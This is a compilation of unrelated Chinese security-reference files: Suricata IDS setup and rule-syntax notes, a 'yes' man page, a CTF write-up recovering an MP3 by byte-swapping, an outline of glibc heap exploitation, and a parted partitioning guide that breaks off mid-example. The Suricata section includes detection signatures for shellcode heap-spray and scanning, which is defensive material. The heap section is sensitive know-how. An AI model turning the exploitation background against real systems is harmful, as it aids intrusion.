`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**官网**
- https://suricata-ids.org/
**项目地址**
- https://github.com/OISF/suricata
**简介**
Suricata 是由 OISF(开发信息安全基金会)开发,它也是基于签名,但是集成了创新的技术。该引擎嵌入了一个 HTTP 规范化器和分析器(HTP 库),可提供非常先进的 HTTP 流处理,从而能够在 OSI 模型的第七层(应用层)上解析流量。
Suircata 是一款支持 IDS 和 IPS 的多线程入侵检测系统,与传统 Snort 相比,Suircata 的多线程和模块化设计上使其在效率和性能上超过了原有 Snort,它将 CPU 密集型的深度包检测工作并行地分配给多个并发任务来完成。这样的并行检测可以充分利用多核硬件的优势来提升入侵检测系统的吞吐量,在数据包的深度检测上效果优越。并且 Suircata 可以兼容现有的 Snort 规则签名,还增加了对 ipv6 的支持,已经逐渐成为传统 Snort 入侵检测系统的代替方案。
**相关文章**
- [Suricata工控规则研究](https://www.freebuf.com/articles/ics-articles/237420.html)
- [Suricata IDS 入门 — 规则详解](https://www.secpulse.com/archives/71603.html)
- [使用Suricata和ELK进行流量检测](https://zhuanlan.zhihu.com/p/64742715)
- [Suricata规则介绍、以及使用suricata-update做规则管理](https://zhuanlan.zhihu.com/p/36340468)
- [suricata下的挖矿行为检测](https://www.freebuf.com/articles/network/195171.html)
- [Suricata + Lua实现本地情报对接](https://www.freebuf.com/sectool/218951.html)
**架构**
Suricata 有三种运行模式,分别为 single,workers,autofp。官方推荐性能最佳的运行模式为 workers 模式。
- single 模式:只有一个包处理线程,一般在开发模式下使用。
- workers 模式:多个包处理线程,每个线程包含完整的处理逻辑。
- autofp 模式:有多个包捕获线程,多个包处理线程。一般适用于 nfqueue 场景,从多个 queue 中消费流量来处理。
报文检测系统通常包含四大部分,报文获取、报文解码、报文检测、日志记录;Suricata 不同的功能安装模块划分,一个模块的输出是另一个模块的输入。
---
## 安装部署
**Ubuntu 下安装**
```bash
add-apt-repository ppa:oisf/suricata-stable
apt update
apt install -y suricata jq
apt install -y suricata-update
```
### 基础使用
```bash
suricata-update # 更新规则
suricata -T # 测试运行
suricata -i ens33 -c /etc/suricata/suricata.yaml -vvv # 启动运行
# 注: 这里 -vvv 参数建议加上. 如果你的Lua脚本有一些问题, 如果加上了这个参数, 就可以通过 suricata.log 日志看出。
suricata -r <path> -c /etc/suricata/suricata.yaml -vvv # 在PCAP脱机模式(重放模式)下运行,从PCAP文件读取文件。如果<path>指定了一个目录,则该目录中的所有文件将按修改时间的顺序进行处理,以保持文件之间的流状态。
```
### 配置文件
`/etc/suricata/` 目录下有 4 个配置文件和一个文件夹, 作用分别是:
- classification.config : 定义了各种流量攻击类型和优先级,类似拒绝服务攻击和 web 应用攻击等
- reference.config : 记录一些安全网站,漏洞平台的网址,或者是自己可以自定义的 url,是参考的意思,用来联系外部的恶意攻击检测网站中关于此类攻击的页面。
- suricata.yaml : Suricata 默认的配置文件,以硬编码的形式写在源代码中, 里面定义了几乎关于 Suricata 的所有运行内容,包括运行模式、抓包的数量和大小、签名和规则的属性和日志告警输出等等。
- 先设置 `HOME_NET` 与 `EXTERNAL_NET`,推荐 `HOME_NET` 填写内网网段,`EXTERNAL_NET` 设置为 `any`
- 如果 `HOME_NET` 设置了 `any`,`EXTERNAL_NET` 设置 `!$HOME_NET` 的话会报错,如果 `HOME_NET` 设置了内网地址,`EXTERNAL_NET` 设置为 `!$HOME_NET` 的话,有些内网之间的告警就无法匹配到
- threshold.config : threshold(阈值)关键字可用于控制规则的警报频率,可用于在规则生成警报之前为其设置最小阈值.
- rules : 规则目录, 存放不同种类的规则,规则用来判定流量攻击类型,并定义攻击类型和告警种类,可以存放自带的规则,也可以自己按规则语法编写
---
## 规则详解
suricata 完全兼容 snort 规则
```
alert modbus any any -> any any (msg:"SURICATA Modbus Request flood detected"; flow:to_server;app-layer-event:modbus.flooded; classtype:protocol-command-decode; sid:2250009; rev:2;)
- alert: 默认顺序为:pass,drop,reject,alert,跳过、丢弃、拒绝、警告四种类型的动作
- Modbus: 注明协议种类,UDP/ICMP 等
- Any: 源地址 / 目的地址(IP)
- Any: 源端口 / 目的端口
- ->: 方向,单向流量;<> 双向流量
- Any: 源地址 / 目的地址(IP)
- Any: 源端口 / 目的端口
- msg:”SURICATA Modbus Request flood detected”: 关键字 msg 提供对触发警报的有关签名 / 规则相关文本提示信息
- flow:to_server: 客户端到服务器
- app-layer-event:modbus.flooded: 具体攻击内容
- classtype:protocol-command-decode: 提供有关规则和警报分类的信息,由 classification.config 文件定义。
- sid:2250009: 用于唯一性规则标识,sid 不能重复
- rev:2: 规则版本号,每次修改规则 rev 则递增 1
```
> 以下内容来自文章 <sup>[[Suricata IDS 入门 — 规则详解](https://www.secpulse.com/archives/71603.html)]</sup>
完整规则
```
alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any (msg:"INDICATOR-SHELLCODE heapspray characters detected - ASCII "; flow:to_client,established; file_data; content:"0d0d0d0d"; fast_pattern:only; metadata:service ftp-data, service http,service imap, service pop3; reference:url,sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html; classty pe:attempted-user; sid:33339; rev:1;)
```
- `alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any`
- ` 规则行为 协议 源 ip 源端口 流量方向 目标 ip 目标端口 红色代表规则头 `
- 规则行为,根据优先级排列:
- `pass` 如果匹配到规则后,suricata 会停止扫描数据包,并跳到所有规则的末尾
- `drop` ips 模式使用,如果匹配到之后则立即阻断数据包不会发送任何信息
- `reject` 对数据包主动拒绝,接受者与发送中都会收到一个拒绝包
- `alert` 记录所有匹配的规则并记录与匹配规则相关的数据包
- 协议:在规则中指定匹配那些协议,suricata 支持的协议要比 snort 多一些
- TCP、UDP、ICMP、IP(同时用与 TCP 与 UDP)、http、ftp、smb、dns
- 源 ip,目标 ip:
- 支持单个 ip,cidr,ip 组,[96.30.87.36,96.32.45.57],所有主机 any,以及规则文件中配置的 ip 变量 `$HOME_NET`(受保护的 ip 段)与 `$EXTERNAL_NET`(其他所有 ip):
- 源端口 / 目标端口:
- 支持设置单个端口 80,端口组 [80,8080], 端口范围[1024:65535] 以及 any 任意端口, 还可以在配置文件中添加端口组,通过 `!` 号来进行排除
- 流量方向:
- `->` 单向流量,从源 ip 到目标 ip 的单项流量
- `<>` 双向流量,2 个 ip 往返之间的流量
- 规则体 : `(msg:"INDICATOR-SHELLCODE heapspray characters detected - ASCII"; flow:to_client,established; file_data; content:"0d0d0d0d"; fast_pattern:only; metadata:service ftp-data, service http,service imap, service pop3; reference:url,sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html; classtype:attempted-user; sid:33339; rev:1;)`
- MSG:规则名称,规则中的第一个字段
- ids 告警上显示的信息,INDICATOR-SHELLCODE heapspray characters detected - ASCII
- 源 ip、目标 ip 检测:
- sameip 会将流量中源 ip 和目标 ip 相同的显示出来
- `alert ip any any -> any any (msg:"GPL SCAN same SRC/DST"; sameip; reference:bugtraq,2666; reference:cve,1999-0016; reference:url,www.cert.org/advisories/CA-1997-28.html; classtype:bad-unknown; sid:2100527; rev:9; metadata:created_at 2010_09_23, updated_at 2010_09_23;)`
- flow 流匹配:
- flow 是特定时间内具有相同数据的数据包(5 元组信息)同属于一个流,suricata 会将这些流量保存在内存中。
- flowbits set , name 设置条件
- flowbits isset, name 选择条件
- 一旦设置 flowbits 之后,第一条规则没有命中那么第二条规则即使命中了也不会显示出来,例如一些攻击行为的响应信息,现在请求中设置条件,然后在响应中选择条件
- to_client/from_server 服务器到客户端
- to_server/from_client 客户端到服务器
- established 匹配已经建立连接的(tcp 则是经过 3 次握手之后,udp 则是有双向流量)
- no_established 匹配不属于建立连接的
- only_stream 匹配由流引擎重新组装的数据包
- no_stream 不匹配流引擎重新组装的数据包
- 阀值 threshold:
- threshold: `type <threshold|limit|both>, track <by_src|by_dst>, count <N>, seconds <T>`
- threshold 最小阀值 也就是说只有匹配到至少多少次数才进行告警
- limit 限制告警次数,例如最少 5 分钟内告警一次
- 调节阀值主要是通过 2 种方法,一种是通过规则内的 threshold 关键字来调节,下图中类型是 limit 也就是限制告警次数,track by_s rc 代表来源 ip,seconds 60 每个 60 秒告警一次 count 1
- 另外一种则是通过配置文件 /etc/suricata/threshold.config 来进行控制,更加推荐这种方法,写在规则内部每次更新后都会替换掉。
- `event_filter gen_id 1(组 id), sig_id 1101111(规则 id), type limit ,track by_src, count 1 , seconds 60`
- suppress 则是告警排除,排除指定 ip 产生的规则告警
- 内容匹配 content:检测数据包中是否存在此内容,例如检测流量中是否存在 0d0d0d0d
- 如果有多个匹配项可以使用 `content:"evilliveshere"; content:"here";` 这种写法,注意如果没有用内容修饰的话,ids 不会按照先后顺序去匹配的,只会在内容中匹配是否包含这 2 个值,必须用内容修饰来调整先后顺序,用 distance 0 来让第二个匹配项在第一个匹配项匹配位置之后匹配,并且如果有多个 content 他们的关系是 and 关系必须都匹配到才告警 。
- 使用感叹号 `!` 对匹配项的否定:`content:!"evilliveshere"`;
- 将字符串的十六进制用管道符(|)进行包围:content:"|FF D8|"; 字符串与十六进制混合使用:content:"FF |SMB|25 05 00 00 80";
- 匹配内容区分大小写,保留字符(; \ "|)须进行转义或十六进制转码
- 内容修饰,能够更加精准匹配
- 不区分大小写 nocase:
- content:"root";nocase; 修饰符直接在;号后面添加
- 偏移位置 offset:
- content:"xss";offset 100; 代表了从数据包开始位置 0 往后偏移 100 位字节后进行匹配
- 结束位置 depth:
- content:"xss";offset 100;depth 200; 代表了匹配数据包结束的位置,如果没有 offset 则是从开始位置计算,有 offset 则是从 offset 开始,此次则是从 100 字节开始匹配到 200 字节内的内容。
- 在 xx 范围外 distance :
- 本次匹配必须在上一次匹配结束位置到 distance 设置的偏移位置区间之外,例如 content:"msg1";content:"msg2";distance 25; 如果 msg1 在第 100 行找到,那么就会在 100+25 后匹配 msg2
- 在 xx 范围内 within:
- 本次匹配必须在上一次匹配结束位置之内,如果上次结束是 100,within 15;那么第二次匹配必须在 100 到 115 之内开始匹配, 如果 within 与 distance 同时出现 content:"evilliveshere"; content:"here"; distance:1;within:7; 则匹配 here 在 evilliveshere 位置结束 1-7 内匹配
- Payload 大小 dsize:
- dsize: >64 用来匹配 payload 大小,可以用来检测异常包大小
- pcre 正则 pcre:
- content:"xss"; pcre:"xss\w" 先匹配 content 内容后才进行匹配 pcre 正则,这样的话减少系统开销
- http 修饰符:
- 更多详细内容查看:http://suricata.readthedocs.io/en/suricata-4.0.4/rules/http-keywords.html
- `alert tcp any any -> any 80(msg:"Evil Doamin www.appliednsm.com"; "content:"GET";httpmethod; content:"www.appliednsm.com";http_uri; sid:5445555; rev:1;)`
- http_client_body HTTP 客户端请求的主体内容
- http_cookie HTTP 头字段的 “Cookie” 内容
- http_header HTTP 请求或响应头的任何内容
- http_method 客户端使用的 HTTP 方法(GET,POST 等)
- http_uri HTTP 客户端请求的 URI 内容
- http_stat_code 服务器响应的 HTTP 状态字段内容
- http_stat_message 服务器响应的 HTTP 状态消息内容
- http_encode 在 HTTP 传输过程中所使用的编码类型
- url_len url 长度
- 快速匹配模式:
- fast_pattern; 如果 suricata 规则中有多个匹配项目,快速匹配的目的是设置优先级最高的匹配项,如果设置了快速匹配模式没有命中则跳过这条规则
- 元数据 Metadata:
- suricata 会忽略元数据背后的语句,用于添加备注
- 组 gid:
- [1:2000000] 告警前面的 1 代表组 id
- 优先级 priority:
- 手动设置规则优先级别,范围 1-255,1 最高,一般都是 1-4,suricata 会首先检查优先级较高的规则
- 引用 reference:
- 连接外部信息来源,补充描述,reference:url,sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html
- 类别 classtype:
- 根据规则检测到的活动类型为规则分类,classtype:attempted-user
- 特征标示符 sid:
- 用于唯一性规则标识,sid 不能重复,0-10000000 VRT 保留,20000000-29999999 Emerging 保留,30000000+:公用
- 修订 rev:
- 规则版本号,每次修改规则 rev 则递增 1
### 规则修改
suricata 主要是 et/open 规则,这是系统自带的规则,目前开源免费的就是 et/open、pt 规则、sslbl 规则,其余的需要授权码才能更新
```bash
suricata-update list-sources # 列出当前的规则源
suricata-update update-sources # 更新规则源
suricata-update # 更新规则
suricata-update enable-source ptresearch/attackdetection # 启用ptresearch/attackdetection的规则集
suricata-update disable-source et/pro # 关闭某个规则源
suricata-update remove-source et/pro # 删除某个规则源
```
例如要禁用某一个规则,直接新建 `/etc/suricata/disable.conf` 文件,然后在里面填入 sid,正则表达式,规则组名, 配置好 `disable.conf` 后,使用如下命令更新规则:
```bash
suricata-update --disable-conf /etc/suricata/disable.conf
```
使用 Suricata-update 更新规则时,默认是将所有规则合并在一个规则文件中:`/var/lib/suricata/rules/suricata.rules`,Suricata-update 有个 --no-merge 参数,使用这个参数更新规则,规则不会进行合并,是以独立的文件存在于文件夹下。但是在管理规则的时候很不方便,必须要自己管理 Suricata 引入的规则。
指定一个文件让 suricata-update 合并输出会更简单。在 suricata.yaml 中修改 default-rule-path 和 rule-files。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH YES 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
yes \- 不断输出一个字符串,直到被杀死为止
.SH 概述
\fByes\fP [\fI\,字符串\/\fP]...
.br
\fByes\fP \fI\,选项\/\fP
.SH 描述
.\" Add any additional description here
.PP
不断输出包括所有指定字符串的一行,或者是 'y'。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/yes>
.br
或者在本地使用: info \(aq(coreutils) yes invocation\(aq
|
sec-knowleage
|
# Can You Hear Me?
Category: Forensics, 50 Points
## Description
> I think I heard something. I'm pretty sure it was around 3:00 pm...
A binary file was attached.
## Solution
Let's check the binary file:
```console
root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# file Can_You_Hear_Me
Can_You_Hear_Me: data
root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# binwalk Can_You_Hear_Me
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
```
Noting much to see here. Let's take a look at the binary:
```console
root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# xxd -g 1 Can_You_Hear_Me | head
00000000: f3 ff c4 44 00 00 03 00 00 48 00 00 17 00 91 05 ...D.....H......
00000010: 03 f6 04 b8 63 60 32 13 87 e6 8a a1 48 06 7e 99 ....c`2.....H.~.
00000020: 5e fd 43 af c5 10 b1 62 ca e3 20 6b 00 00 83 00 ^.C....b.. k....
00000030: 82 8b 2e 0e 2e 1f 70 fe 3e b8 13 7c de 07 fe 53 ......p.>..|...S
00000040: 40 90 0c 10 81 44 ff 8f ff ff a3 fc 00 b1 0f 3e @....D.........>
00000050: 0a c1 f0 c1 0e fa 61 05 70 a0 b3 22 65 8c 4e 5f ......a.p.."e.N_
00000060: f3 ff c4 44 11 53 79 e8 01 f0 10 4f 63 00 e7 a5 ...D.Sy....Oc...
00000070: 32 a3 d3 c9 4e 82 0e 73 9a c5 cb b8 63 f4 aa 08 2...N..s....c...
00000080: f8 61 9b 16 2f 1d 81 9c 8f 73 cb 02 90 ad 34 45 .a../....s....4E
00000090: 15 10 58 a8 59 58 84 58 de 68 a4 c9 a0 93 ac 1a ..X.YX.X.h......
```
Nothing jumps to the eye, but if we take a closer look we can see a pattern starting with `f3 ff c4 44`. Is this the prefix for some kind of record?
We'll align the binary differently and inspect it again:
```console
root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# xxd -g 1 -c 96 Can_You_Hear_Me | head
00000000: f3 ff c4 44 00 00 03 00 00 48 00 00 17 00 91 05 03 f6 04 b8 63 60 32 13 87 e6 8a a1 48 06 7e 99 5e fd 43 af c5 10 b1 62 ca e3 20 6b 00 00 83 00 82 8b 2e 0e 2e 1f 70 fe 3e b8 13 7c de 07 fe 53 40 90 0c 10 81 44 ff 8f ff ff a3 fc 00 b1 0f 3e 0a c1 f0 c1 0e fa 61 05 70 a0 b3 22 65 8c 4e 5f ...D.....H..........c`2.....H.~.^.C....b.. k..........p.>..|...S@....D.........>......a.p.."e.N_
00000060: f3 ff c4 44 11 53 79 e8 01 f0 10 4f 63 00 e7 a5 32 a3 d3 c9 4e 82 0e 73 9a c5 cb b8 63 f4 aa 08 f8 61 9b 16 2f 1d 81 9c 8f 73 cb 02 90 ad 34 45 15 10 58 a8 59 58 84 58 de 68 a4 c9 a0 93 ac 1a 3a 93 eb 41 7a a5 a2 97 a2 a2 5c 6c db 64 1b 74 b6 5a 17 9a ce cd bd 9b df 75 d0 6b 56 65 98 8c ...D.Sy....Oc...2...N..s....c....a../....s....4E..X.YX.X.h......:..Az.....\l.d.t.Z.......u.kVe..
000000c0: f3 ff c4 44 21 5e 2a 23 01 2c 98 9d 34 00 66 22 4c f4 6d d3 e9 5f ad 55 d5 f6 d0 41 a6 42 90 5a f5 43 ae 6a a9 fb ad 99 75 7d 99 ed 46 ba cd 74 2f d0 7a 9f 04 12 38 cd 04 12 01 62 6b a0 81 b1 99 01 f1 8a 89 89 31 61 c2 8b 87 81 71 42 02 9e 30 08 34 a9 0d cc 14 01 60 00 c1 28 00 51 80 c1 ...D!^*#.,..4.f"L.m.._.U...A.B.Z.C.j....u}..F..t/.z...8....bk.........1a....qB..0.4.....`..(.Q..
00000120: f3 ff c4 44 1c 2c a2 99 01 60 98 9d 20 00 1d 44 13 04 64 20 0a 40 8f 30 33 01 90 14 82 b2 10 c0 f8 41 0a 63 27 6b 89 88 5a 16 1c 04 69 cd a0 1b 24 bb 5b 5e 28 cd 77 21 ff fa 7a fa 6c fa 6a a5 7d ad a6 e8 d3 9a e9 7c 90 e0 ab b8 7f 3b ff ff b3 ff 55 f2 cf 65 4e 32 30 98 89 39 9f 13 e0 07 ...D.,...`.. ..D..d .@.03........A.c'k..Z...i...$.[^(.w!..z.l.j.}......|.....;....U..eN20..9....
00000180: f3 ff c4 44 13 0c 96 f8 01 70 30 db d1 00 83 79 85 80 82 85 0c 0d 7c ee ca d4 89 05 1c 50 1c 24 82 62 76 0a 63 b8 28 4d 26 aa a1 62 ac a8 af 9a a5 3c 4f d7 78 a0 0f 82 70 aa cb fd 1d 50 ff d3 01 fd c3 00 e1 ee 20 63 ff f9 ff ff ff ff 4a ff df 96 69 e3 21 d0 1a 73 b1 1f 7d 2a 45 85 75 8e ...D.....p0....y......|......P.$.bv.c.(M&..b.....<O.x...p....P........ c......J...i.!..s..}*E.u.
000001e0: f3 ff c4 44 15 0f 92 a9 00 98 44 de 9c 94 6e 04 4e f3 20 30 80 69 0b 25 f1 f7 c8 d7 30 c3 21 e4 d9 60 b2 bc e9 5a 43 24 d3 ea c4 fe 47 4e 87 4f 3c ef f5 ff 1b 96 e7 7c ff ff 46 a6 09 40 74 0e 59 66 b7 08 08 21 0e a9 04 71 e3 d9 8a 40 ff 77 ff ff 91 fe ef 3d eb 3f 11 37 eb 6d 4a b8 9b c1 ...D......D...n.N. 0.i.%....0.!..`...ZC$....GN.O<......|..F..@t.Yf...!...q...@.w.....=.?.7.mJ...
00000240: f3 ff c4 44 13 0b a2 d9 00 b4 06 c6 59 94 f3 d6 32 dd 82 08 db 56 ba e5 7c 89 03 0e 76 db 10 fe f1 58 89 20 34 fc 27 fa 34 23 f1 cf 2b a9 ff b7 01 be f0 bf e5 ff b2 3f 18 bf 97 18 9c 80 30 60 86 37 76 4e 34 94 61 cd d2 3b 1a 61 a2 bd c2 c2 6a 72 38 eb c3 2f 2f 23 5a 48 a0 42 0c d9 88 f3 ...D........Y...2....V..|...v....X. 4.'.4#..+..........?......0`.7vN4.a..;.a....jr8..//#ZH.B....
000002a0: f3 ff c4 44 13 0e 4e 59 00 bc 0a 8e 03 95 19 06 3d 79 d4 ed 81 71 75 d4 bd 35 99 44 0f cc a9 86 53 a8 a7 15 ff db 55 ca 9f 77 0b f2 2a f5 63 36 fa 39 b3 19 0b 09 7b 14 a4 9c 03 0c cc 87 70 54 1d 28 95 10 12 62 6b cf fb ff 0b ff ff 55 da fe d5 05 7b ba 45 e0 3e 81 1b ef b3 b4 03 62 e5 49 ...D..NY........=y...qu..5.D....S.....U..w..*.c6.9....{.......pT.(...bk......U....{.E.>......b.I
00000300: f3 ff c4 44 11 13 5e d9 00 c0 0a 7e 9c 94 c3 ce 55 22 f2 56 6e ff 93 44 bc 49 f7 b1 ab 29 ac 45 ff 73 b5 2a e5 30 e8 67 a7 ff e5 d3 35 41 88 42 06 94 1f 1c 49 8b 87 02 0a 0b ff 8d ff ff ff ff 6a a5 90 f9 81 67 64 db e4 0c 20 f0 48 a2 6c a8 07 8b 07 44 08 68 c5 90 52 4c d8 0f 04 2d ee 4f ...D..^....~....U".Vn..D.I...).E.s.*.0.g....5A.B....I...........j....gd... .H.l....D.h..RL...-.O
00000360: f3 ff c4 44 11 1e 6e 29 00 bc 84 94 82 94 06 67 7d 58 45 bf 57 13 5f f9 ff ec ff 7f 4c f9 0c 71 14 c6 71 18 83 e7 88 ae 87 84 83 14 7a f6 ff 3f ff ff 45 d9 ef ff 04 f7 07 11 6b 7f f6 3a 05 af 3a da 27 c9 4d 8d 4a 94 ad 86 54 03 51 2c 3e 91 33 53 34 58 36 00 f2 18 13 27 1e 2a 92 6e fd 49 ...D..n).......g}XE.W._.....L..q..q.........z..?..E.......k..:..:.'.M.J...T.Q,>.3S4X6....'.*.n.I
```
Indeed, this looks like each record is of length 96. Now what?
Well, searching for the `f3 ff c4 44` prefix as a known file prefix in Google does not yield any result. That makes sense, since if it would, `binwalk` would have probably found it. We have two clues to help us progress. The first one is a very common string seen in the binary:
```console
root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# strings Can_You_Hear_Me | sort | uniq -c | sort -n | tail
4 vL5+
4 wKLs
4 WqT\A
4 )xPe
4 y&!p
4 y&(x
6 00UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
7 00UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUALEM.3
13 UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
41 ALEM.3
```
That `ALEM.3` repeats at least 41 times (even more, sometimes identified by `strings` as part of a larger string). In this case too, we can't find it in Google, but it must have some significance.
The second one is the challenge title:
> Can you hear it?
This implies some kind of sound file format.
Now, if we think of `ALEM` in the context of sound files, it sounds very much like [LAME](https://lame.sourceforge.io/), the famous MP3 encoder. But the file signature doesn't match MP3! According to [this list](https://en.wikipedia.org/wiki/List_of_file_signatures), MP3 signatures are:
| Hex Signature | Offset | Filename Extension | Description |
| ------------- | ------ | ------------------ | ----------- |
| (-) `FF FB` <br /> (-) `FF F3` <br /> (-) `FF F2` | 0 | mp3 | MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (which's appended at the end of the file) |
| (-) `49 44 33` | 0 | mp3 | MP3 file with an ID3v2 container |
We don't have that, we have `F3 FF`. It is pretty close to `FF F3` though. And we did see `ALEM` earlier, which is close to `LAME`. So what if we do the most trivial thing we can think of, and swap every two bytes?
```python
from pathlib import Path
import os
FILE = "Can_You_Hear_Me"
with open(FILE, "rb") as f, open(f"{Path(FILE).stem}_out.mp3", "wb") as o:
file_size = os.path.getsize(FILE)
for _ in range(file_size // 2):
b1 = f.read(1)
b2 = f.read(1)
o.write(b2)
o.write(b1)
if (file_size % 2 == 1):
o.write(f.read(1))
```
Output:
```console
root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# python3 solve.py
root@kali:/media/sf_CTFs/matrix/Can_You_Hear_Me# file Can_You_Hear_Me_out.mp3
Can_You_Hear_Me_out.mp3: MPEG ADTS, layer III, v2, 32 kbps, 24 kHz, Monaural
```
We got a legal MP3 file! It spells out the flag, which is `MCL{I_KNEW_THAT_I_HEARD_SOMETHING}`
|
sec-knowleage
|
### 堆利用介绍
在该章节中,我们会按照如下的步骤进行介绍
1. 介绍我们所熟知的动态内存分配的堆的宏观操作
2. 介绍为了达到这些操作所使用的数据结构
3. 介绍利用这些数据结构实现堆的分配与回收的具体操作
4. 由浅入深地介绍堆的各种利用技巧。
对于不同的应用来说,由于内存的需求各不相同等特性,因此目前堆的实现有很多种,具体如下
```text
dlmalloc – General purpose allocator
ptmalloc2 – glibc
jemalloc – FreeBSD and Firefox
tcmalloc – Google
libumem – Solaris
```
这里我们主要以 glibc 中堆的实现为主进行介绍。如果后续有时间,会继续介绍其它堆的实现及其利用。
该部分主要参考的资料如下,文中有很多内容会和参考资料中一致,以后就不一一说明了。
- [black hat heap exploitation](https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf)
- [github heap exploition](https://heap-exploitation.dhavalkapil.com/)
- [sploitfun](https://sploitfun.wordpress.com/archives/)
- glibc 源码
- 更多的参考文献请看ref目录下的文件
|
sec-knowleage
|
parted
===
磁盘分区和分区大小调整工具
## 补充说明
**parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。
### 语法
```shell
parted(选项)(参数)
```
### 选项
```shell
-h:显示帮助信息;
-i:交互式模式;
-s:脚本模式,不提示用户;
-v:显示版本号。
```
### 参数
* 设备:指定要分区的硬盘所对应的设备文件;
* 命令:要执行的parted命令。
### 实例
从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。
红帽企业 Linux 4 Update 4供对大于 2 terabytes(TB)的磁盘设备的支持。
请参考以下操作步骤:
注:
* 绿色代表你需要使用的命令。
* 红色代表你需要注意到的输出信息,在后续需要使用。
```shell
[root@localhost ~]# fdisk -l
Disk /dev/sda: 35.8 GB, 35862976512 bytes
255 heads, 63 sectors/track, 4360 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks id System
/dev/sda1 * 1 13 104391 83 Linux
/dev/sda2 14 144 1052257+ 82 Linux swap
/dev/sda3 145 4360 33865020 83 Linux
Disk /dev/sdb: 2147 MB, 2147483648 bytes
255 heads, 63 sectors/track, 261 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk /dev/sdb doesn't contain a valid partition table
```
```shell
[root@localhost ~]# parted /dev/sdb
GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc.
This program is free software, covered by the GNU General Public License.
This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
使用/dev/sdb
(parted)mklabel gpt
(parted)print
/dev/sdb的磁盘几何结构:0.000-2048.000兆字节
磁盘标签类型:gpt
Minor 起始点 终止点 文件系统 名称 标志
(parted)mkpart primary 0 2048 <-----上面print显示的数字
(parted)print
/dev/sdb的磁盘几何结构:0.000-2048.000兆字节
磁盘标签类型:gpt
Minor 起始点 终止点 文件系统 名称 标志
1 0.017 2047.983
(parted)quit
```
如果必要,不要忘记更新`/etc/fstab`。
```shell
[root@localhost ~]# fdisk -l
Disk /dev/sda: 35.8 GB, 35862976512 bytes
255 heads, 63 sectors/track, 4360 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
/dev/sda1 * 1 13 104391 83 Linux
/dev/sda2 14 144 1052257+ 82 Linux swap
/dev/sda3 145 4360 33865020 83 Linux
WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted.
Disk /dev/sdb: 2147 MB, 2147483648 bytes
255 heads, 63 sectors/track, 261 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
/dev/sdb1 1 262 2097151+ ee EFI GPT
Partition 1 has different physical/logical beginnings (non-Linux?):
phys=(0, 0, 1) logical=(0,0, 2)
Partition 1 has different physical/logical endings:
phys=(1023, 254, 63) logical=(261, 21, 16)
```
```shell
[root@localhost ~]# mkfs.ext3 /dev/sdb1
mke2fs 1.35 (28-Feb-2004)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
262144 inodes, 524279 blocks
26213 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=536870912
16 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912
Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 28 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
```
```shell
[root@localhost ~]# mount /dev/sdb1 /mnt
[root@localhost ~]# df -h
